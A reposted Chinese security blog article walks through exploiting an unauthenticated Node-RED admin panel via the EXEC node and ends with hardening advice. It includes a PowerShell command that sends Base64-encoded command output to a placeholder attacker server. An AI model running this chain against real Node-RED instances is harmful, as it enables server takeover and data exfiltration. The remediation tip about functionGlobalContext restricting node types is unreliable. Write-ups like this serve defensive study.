Node-REDEXEC节点未授权命令执行漏洞复现

admin 2026-05-14 11:48:03 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档记录了Node-REDEXEC节点未授权命令执行漏洞的复现过程。当管理界面存在未授权访问时,攻击者可通过拖拽EXEC节点直接执行系统命令实现RCE。利用步骤包括创建Inject节点触发、配置Exec节点执行Base64编码外带命令、部署流程获取回显。漏洞源于EXEC节点对child_process.exec()的封装,修复建议包括启用adminAuth认证、网络隔离、反向代理和禁用高危节点。 综合评分: 87 文章分类: 漏洞分析,WEB安全,红队,实战经验,IoT安全


cover_image

Node-RED EXEC 节点未授权命令执行漏洞复现

原创

whoami0002 whoami0002

SecurityPaper

2026年5月13日 21:11 江苏

在小说阅读器读本章

去阅读

最近攻防演练中遇到了一个存在未授权访问的 Node-RED 管理界面,记录一下利用过程。

Node-RED 是一款基于 Node.js 的可视化流编程工具,广泛应用于 IoT 和自动化场景。当管理界面存在未授权访问时,攻击者可通过拖拽 EXEC 节点直接执行任意系统命令,实现 RCE。

0x01 漏洞概述

  • 漏洞类型: 未授权命令执行(RCE)
  • 影响组件: Node-RED EXEC 节点
  • 前提条件: Node-RED 管理界面可未授权访问(默认无认证)
  • 危害等级: 高危(可直接获取服务器权限)

0x02 漏洞复现

Step 1:新建 Inject 节点

在 Node-RED 编辑器中拖入一个 inject 节点,用于触发后续流程。

Step 2:新建 Exec 节点并构造命令

拖入一个 exec 节点,连接到 inject 节点后配置命令内容。

经测试,exec 节点执行命令无回显,因此采用 PowerShell 将命令结果 Base64 编码后通过 HTTP 请求外带到攻击者服务器:

cmd.exe /c powershell -Command "& { $base64 = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes((whoami | Out-String))); $encodedUrl = 'http://<攻击机IP>:8080/?data=' + [System.Net.WebUtility]::UrlEncode($base64); Invoke-RestMethod -Uri $encodedUrl }"

踩坑提醒: exec 节点配置中不要勾选msg.payload,否则 inject 节点传递的时间戳会被拼接到命令末尾,导致命令执行失败。

Step 3:添加 Debug 节点

拖入一个 debug 节点连接到 exec 节点之后,用于调试输出。

Step 4:部署并触发

点击右上角 Deploy 按钮部署流程,部署完成后点击 inject 节点左侧按钮即可触发命令执行。

攻击者在 HTTP 服务端收到外带数据,Base64 解码后即可获得命令执行结果:

0x03 漏洞分析

Node-RED 的 EXEC 节点本质上是对 child_process.exec() 的封装。当管理界面缺乏认证保护时,任何能访问到该页面的用户都可以:

  1. 创建包含任意命令的 EXEC 节点

  2. 通过 inject 节点或 HTTP 请求触发执行

  3. 利用 DNSLog / HTTP 外带等方式获取回显

    整个利用过程无需任何编程,纯可视化操作,攻击门槛极低。

0x04 修复建议

  1. 启用认证: 在 settings.js 中配置 adminAuth,为管理界面设置用户名密码
  2. 网络隔离: 将 Node-RED 服务绑定到内网地址,禁止外部直接访问
  3. 反向代理: 通过 Nginx 等反向代理添加额外的访问控制和 HTTPS 加密
  4. 禁用高危节点: 在 settings.js 中通过 functionGlobalContext 限制可用的节点类型
// settings.js 中启用认证示例
adminAuth: {
&nbsp; &nbsp;&nbsp;type:&nbsp;"credentials",
&nbsp; &nbsp;&nbsp;users: [{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;username:&nbsp;"admin",
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;password:&nbsp;"$2a$08$...", &nbsp;// bcrypt hash
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;permissions:&nbsp;"*"
&nbsp; &nbsp; }]
}

0x05 总结

Node-RED 的低代码特性使其极易被滥用。在实际攻防中,Node-RED 常作为 IoT 设备管理平台暴露在公网,且大量实例未配置认证。通过 EXEC 节点实现 RCE 是一种简单高效的攻击路径。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:SecurityPaper whoami0002 whoami0002《Node-RED EXEC 节点未授权命令执行漏洞复现》

评论:0   参与:  0